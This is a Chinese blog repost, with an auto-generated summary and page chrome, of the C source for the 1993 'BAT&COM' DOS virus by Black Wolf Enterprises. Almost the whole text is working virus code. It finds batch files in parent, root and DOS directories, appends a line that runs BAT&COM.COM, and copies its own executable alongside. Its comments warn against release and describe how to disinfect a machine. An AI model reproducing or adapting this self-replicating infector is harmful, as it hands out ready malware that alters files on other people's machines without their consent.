C++程序(2),最好在虚拟机上运行

本文探讨了一种特殊的高级语言病毒,它通过查找批处理文件并在其中插入自复制指令来传播。该病毒不局限于当前目录,因此在使用时需确保隔离机器并清理感染。病毒由BlackWolfEnterprises于1993年发布,提醒用户切勿释放。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

The BAT&COM Virus in C 
  代码: 
  - - - -----------------Start Code------------------------- - - - 
  /* This file is a high-level language virus of a different sort. 
  It will search out batch files and, when found, place a copy 
  of itself in the directory with the batch file while adding 
  instructions in the BAT to execute this new file. In this way, 
  it will spread each time an "infected" batch is run. 
  Disinfection is done simply by deleting all of the BAT&COM.COM 
  files and removing the commands from batch files that ruin 
  them. This one is NOT confined to the current directory, 
  so make sure it is on an isolated machine and be sure to 
  clean up any infections. PLEASE DO NOT RELEASE! 
  BAT&COM virus is (C) 1993 Black Wolf Enterprises. 
  */ 
  #include  
  #include  
  #include  
  #include  
  struct ffblk ffblk; 
  main() 
  { 
  char old_dir[MAXPATH]; 
  Get_Path(old_dir); /* Save the old directory */ 
  Pick_A_Dir(); /* Find a new directory to */ 
  Infect_Directory(); /* infect and infect it. */ 
  chdir(old_dir); /* Return to old directory */ 
  return 0; 
  } 
  Pick_A_Dir() 
  { 
  int done; 
  chdir(".."); /* First, Go out a DIR. */ 
  done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */ 
  /* root and DOS */ 
  if (done) 
  { 
  chdir("\\"); 
  done=findfirst("*.BAT",&ffblk,0); 
  if (done) chdir("\\DOS\\"); 
  } 
  return 0; 
  } 
  Infect_Directory() 
  { 
  int done; 
  done = findfirst("*.BAT",&ffblk,0); 
  while (!done) /* Find all .BAT files */ 
  { /* and add code to run */ 
  Do_Batch(); /* BAT&COM if not */ 
  done = findnext(&ffblk); /* already there */ 
  } 
  if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */ 
  {Copy_Virus();} /* not exist, then */ 
  return 0; /* copy it into dir.*/ 
  } 
  Do_Batch() 
  { 
  FILE *batch; 
  char Infection_Buffer[12]; 
  char vpath[MAXPATH]; 
  Get_Path(vpath); /* Get path for adding path */ 
  /* specifier in commands */ 
  if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */ 
  batch=fopen(ffblk.ff_name, "rt+"); 
  fseek(batch, -11, SEEK_END); 
  fread(Infection_Buffer,11,1,batch); 
  Infection_Buffer[11]=0; /* Terminate String */ 
  if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */ 
  { /* Batch is */ 
  fseek(batch, 0, SEEK_END); /* infected.*/ 
  fprintf(batch,"\n%s\\BAT&COM.COM",vpath); 
  } /*^- Add command */ 
  /* to batch */ 
  fclose(batch); 
  return 0; 
  } 
  Copy_Virus() 
  { 
  FILE *old_virus, *new_virus; 
  int write_length; 
  char copy_buffer[1024]; /* Copy the virus to */ 
  /* new directory */ 
  old_virus=fopen(_argv[0],"rb"); 
  new_virus=fopen("BAT&COM.COM","wb"); 
  write_length=1024; 
  while (write_length==1024) 
  { 
  write_length=fread(copy_buffer,1,1024,old_virus); 
  fwrite(copy_buffer,write_length,1,new_virus); 
  } 
  fclose(old_virus); 
  fclose(new_virus); 
  return 0; 
  } 
  Get_Path(char *path) 
  { 
  strcpy(path, "A:\\"); 
  path[0] ='A' + getdisk(); /* Returns current path */ 
  getcurdir(0, path+3); 
  return 0; 
  } 
  - - - -----------------End of Code------------------------ - - -

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值